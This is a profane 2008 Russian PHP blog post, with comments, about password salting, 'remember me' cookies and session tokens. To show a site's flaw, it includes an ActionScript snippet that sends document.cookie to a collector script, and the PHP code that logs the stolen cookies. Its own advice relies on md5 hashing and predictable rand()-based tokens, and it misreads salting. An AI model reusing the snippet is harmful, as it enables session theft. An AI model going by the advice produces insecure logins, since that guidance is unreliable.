Ноя 22
2008безопасность. «такое в книгах не пишут». а так всего лишь рассуждения.
Рубрики: (MYSQL, php, безопасность, кеширование, пожалуйста ..., Полезные штуки) Автор: phpdude 22-11-2008
Теги : MYSQL, php, ахуенно, беопасность, мне нравится, ну пожалуйста прочитайте ..., ПИЗДАТО
Добрый ночь у меня уже)
Рассуждения насчет соли.
Мд5 + соль, я думаю что это достаточно хорошая защита, причем она хорошая, если человек не может добраться до самой соли, иначе это уже не защита, куда деть соль … в БД? Зачем? Если пользователей пароли взяли из БД к примеру злой админ сервера. В файлы? … у меня нет ответа, возможно даже лучший метод – кусок закрытого зенд кодированного файла который имеет эту самую соль )))
Да и … смотрите что дает соль, она дает всего лишь еще одну итерацию при раскодировании мд5 пароля, правильно? Предполагаю что да. Ну и что стоит сделать 2 итерации? Вместо одной ? взять 10 паролей, узнать их засоленными, получаем нечто вида Yj&#(*!-that’s-my-great-uncrackable-password. Yj&#(*!-other-best-password-this-world. Я думаю понятно становится где соль)) хоть куда ее положи. Двойной, тройной, четверной мд5 – тот же исход, просто количество итераций в обратную сторону добавляют. Имхо правильнее md5(crypt + blowfish). Имхо куда поинтереснее будет безопасность
Это насчет хоронения в БД.
ps:// могут найтись те, кто скажет что я ничего не понимаю в соли. они правы, я ее никогда не использовал. это плохо? думаю что нет. но использовать буду в SiteMaster CMS.
Авторизация
Насчет авторизации, посмотрите vkontakte.ru там эти дибилоиды хранят пароли в кукисах, их авторизация ничто иное
If($db->select(“users”,array(“username”=>”blondy”,”password”=>”MYPASSWORD”)))
{
Setcookie(“vpedrilke_user”, ”blondy”,time() + 86400*3650);
Setcookie(“vpedrilke_password”, md5(”MYPASSWORD”),time() + 86400*3650(Я НЕ ЛЮБЛЮ ЗАПОМИНАТЬ ПАРОЛИ));
}
Круто, теперь можно его проверять по бырому и если все гут, то идентифицировать! Мы сделали эту ебанную галку «запомнить меня». Можно идти пить шампусик!))
Это имхо совсем хуевый вариант. Ибо спиздить пароль таким методом – посрать сходить. Как??? А легко.
Смотрите, помните там есть раздел «ПРИЛОЖЕНИЯ»? Вы писали на флеше? Вот вам простой actions script код, представим что есть кнопка «спиздить пароль» на фрейме. И код этого фрейма выглядит так.
On(release) {
getURL(“javascript: location.href=\http://phpdude.ru/vkontakte_passwords_collector.php?\”+documents.cookie);
}
Ну и
vkontakte_passwords_collector.php
<?
File_put_contents(“idiots.txt”,$_SERVER[‘QUERY_STRING’]);
И вот представьте если какая нить игра «комната» будет иметь такую свинью? Тыс 300-400 профилей уйдут в никуда как посрать. Ведь! Я могу с этими кукисами зайти на страницу юзера и сменить пароль.
Правильный вариант авторизации
Авторизация – заезженный $db->select . получили юзера массив, я всегда делаю так
$_SESSION[user] = $userfromdb;
Клево? Да, клево.
К этому можно добавить
$_SESSION[‘loginip’] = $_SERVER[‘REMOTE_ADDR’];
А вот теперь уже, if(!$_SESSION[‘loginip’] || $_SESSION[‘loginip’]!=$_SERVER[‘REMOTE_ADDR’]) unset($_SESSION[user]);
Unset – на случай злоебучих register_globals. Который сам вечно где то переменные берет…
Это простая авторизация.
Теперь кнопка «запомнить меня на этом говносайте»
Пример дурова – ебень, думаю это понятно.
Хороший пример.
Таблица юзерз имеет поле token + userip.
После авторизации сделать в $token = getoken();$db->update(“users”,array(“token”=> $token,”userip”=>$_SERVER[‘REMOTE_ADDR’]),$user[‘id’]);
Ну и положить этот токен в кукис на 100 тысяч мульонаф лет)))
Setcookie(“usertoken”,$token,time() + 86400 * 3650);
Ну и дальше проверять на всех страницах if($_COOKIE['usertoken'])$user = $db->get(“users”,array(“token”=>$_COOKIE[‘token’],”userip”=>$_SERVER[‘REMOTE_ADDR’]));
ну да, модное слово «кеширование». добавим if($_SESSION['usercheck'] + 900 < time()){код авторизации}. я тоже не люблю делать много запросов, которые можно закешировать.
Думаю суть понятна
До кучи пара замечаний.
Первое – для всех форм кроме поиска используйте метод POST. Плюсы этого – вы сможете не запоминая какой метод использовали обращаться к переменным $_POST[‘param’] + кулхацкерам будет сложнее подделать данные на сайт, ведь ссылку то в асе можно дать на покупку товара, а ПОСТ ссылку заебешься)))
Второе – для всех поисков делайте $_GET. Ибо можете с пейджингом заебаться, сложно будет мержить $_POST + $_GET.
Третье – забудьте про register_globals и magic_quotes(сжег бы автора этой идее «магической» поебени)
Четвертое – ЗАБУДЬТЕ ПРО $_REQUEST. Используйте всегда пост или гет и не будете путаться, поверьте
Пятое – купите бутылку пива и выпейте ее. )))) давно хочу так сделать, времени не жалко ))))
Ибо мое пиво всегда заканчивается вот так
я справа. Фотка старая, но времена хорошие
По сути все.
Всея ПЫХА
adw0rd
Мавр
ГО
Irinax
Попытался фотку вставить.
про _GET в поиске: хули мержить? попробуй дать ссылку на результаты постового поиска дружбану
про пиво: пейте виски!
симпотные, на первый взгляд, самки на фоне..
про _GET в поиске: хули мержить? п
ну это я и имел ввиду )) $_POST – не панацея или как там )))
ну там бывали самочкии симпотные и буээээ
Большое спасибо за пост.
Пока не во всем могу разобраться, но определенные части понятны, и понятно куда нужно направить свои извилины.
Но есть парочка моментов:
1. $token = getoken(); – не совсем понятно откуда берется функция getoken(), и что это за функция (какая её роль)
2. if($_SESSION['usercheck'] + 900 < time()){код авторизации} – этот момент тоже не очень понятен. Если я правильно понял, то идет проверка на «свежее» обновление сессии, и если она свежая (9 сек), то все ок. Я правильно понял или нет?
п.с. Такого в книгах действительно не найти. В основном стандартная авторизация через md5(). А это, даже я знаю – гавно.
п.с.2 На данный момент по запросу $token = getoken(); в Гугле Ваш блог на втором месте. Так что это в очередной раз доказывает – хороший блог интересен даже Гугле
1. $token = getoken(); – не совсем понятно откуда берется функция getoken(), и что это за функция (какая её роль)
функция, которая вам понравится, генерирует случайое число/строку, но желательно поболее, чтобы не совпасть если у вас предполагается пользователй много. минимум 8 символов я дума.
2. if($_SESSION['usercheck'] + 900 < time()){код авторизации} – этот момент тоже не очень понятен. Если я правильно понял, то идет проверка на “свежее” обновление сессии, и если она свежая (9 сек), то все ок. Я правильно понял или не
чуток неправильно)) в смысле правильно но не до конца.
не обновление сессии, а ПРОВЕРКА АВТОРИЗАЦИИ ПОЛЬЗОВАТЕЛЯ, допустим админ поставил ему галку «баннед» и тут раз проверка, ему собщение простите вы в жопе. и 900 секунд – 15 минут
ну вот пример токена
$token = «»;
for($i = 0;$i < 10;$i++)
{
$token .= rand(0,8) + 1;
}
Ну насчет 900 сек… я думал там миллисекунды. В общем, с этим пунктом полностью понятно. Получается таки аккуратно и без дырок (как минимум простых).
С $token понятно, буду знать на будущее. Насколько помню видел подобную функцию в генерации простой каптчи, но сути тогда не понял (даже не пытался разобраться, так как в тот момент в этом не было необходимости).
Завтра буду пробовать создавать авторизацию.
)))))))))
посмотрите на тему главной страницы там чуток написано про кмс
насчет без дырок, не забывай про sql injections
а то простых на пустом месте сделаешь)
2epsyl.
про пиво: пейте виски!
я люблю пиво, а точнее тыкизы полящика-ящик в харю
я приверженец хранения сессия в файлах, все то же самое за исключением хранения токенов. так вот, токены храню в сессии, а точнее нихуя не храню, id сесси и есть токен. лан, это раз.
два: запрашиваю пользователя из базы по паролю и имени только один раз — во время аутентификации (не путайте, значение слова авторизация совсем другое!))), если true — запоминаю в сессии remote ip? далее все как по маслу.
токен мне передали, я сравнил, ага бля, вход выполнен, ip совпал, значит у тебя айди нумер 666 и ты в онлайне.
почему все так, самое главное выполнять запросов как можно меньше, для любителей модных слов можно выразиться так, токен я закешировал в файл)) угу. рядом с обращением в файл, запрос в базу данных и рядом не лежит, даже закешированный, ну у тебя же не 2 терабайта памяти выделено под кеширование запросов да? наверное 192Мб или ваще 64. зачем при каждом заходе пользователя проверять в базе залогинен он или нет? а я возьму и нарочно буду отправлять токен, даже случайно сгененированный, а сервер как дурак будет каждый раз лезть в базу и проверять) а я ему 100 запросов в секунду. а он тотлько и будет спасаться с помощью mod_limitipconn))
в следующий раз напишу сказку про коннекты и проверку валидности пирожков
эмм … перепроверять его авторизацию нужно о причине, дададад! возможного бана этого пользователя когда он онлайн
перепроверять можно же не всегда, а раз в 5 минут например. запрос на совпадение токена и авторизованности при уникальном поле токен и токен = инт(9-11) будет выполняться – 0. попробуйте меня переубедите
к тому же я токен у себя вообще вторичным примари кеем сделал, так что работаю с хеш тейблом по сути, раз в 5 минут проверить совпадение на примари кей .. смешно
а памяти под выборку с ключами у меня выделено 256 метров, под пхп тоже 256) поэтмоу вордпресс и генерит страницы за 0)) хотя на моембуке он генерит секунду.
отдельная колонка для токенов, потом для них еще индекс, таблица на мильон записей. индекс только на 33 360 KiB, и колонка столько же.
а из этого мильона стабильно онлайн только 100 тыс.
900 тыс. записей — мусор
я не любитель считать место на жест диске
я понимаю что для сильно нагруженного проекта это может быть моветон
но примари кей на 2.500.000 записей у меня дает скорость выборки за абсолютный 0, так что я думаю эта идея не плохая. да и «в спорах рождается истина»
насчет мусора. только что н серере увидел лог файл нгинкса размером в 500 метров, а ты говоришь про 50-300 метров информации котоорая ускоряет выборки ))))))))) не, не любитель считать место. проще железо докупить если нужно конечно
/var/log/nginx-access_log megasite:www 664 5 * @T05 JCB /var/run/nginx.pid 30
прости, но я не понял тебя полкила
можешь подробнее написать
На фоте случаем не 5-я общага?
5ая )))
а ты кто?)
да я там жил когдато )
ты кто был? физик?)
да
в каком году поступал?))
давно это было)
2000 год
ну я тогда еще даже не учился еще))))))))
>> /var/log/nginx-access_log megasite:www 664 5 * @T05 JCB /var/run/nginx.pid 30
> можешь подробнее написать
да это был намек на newsyslog)
ах)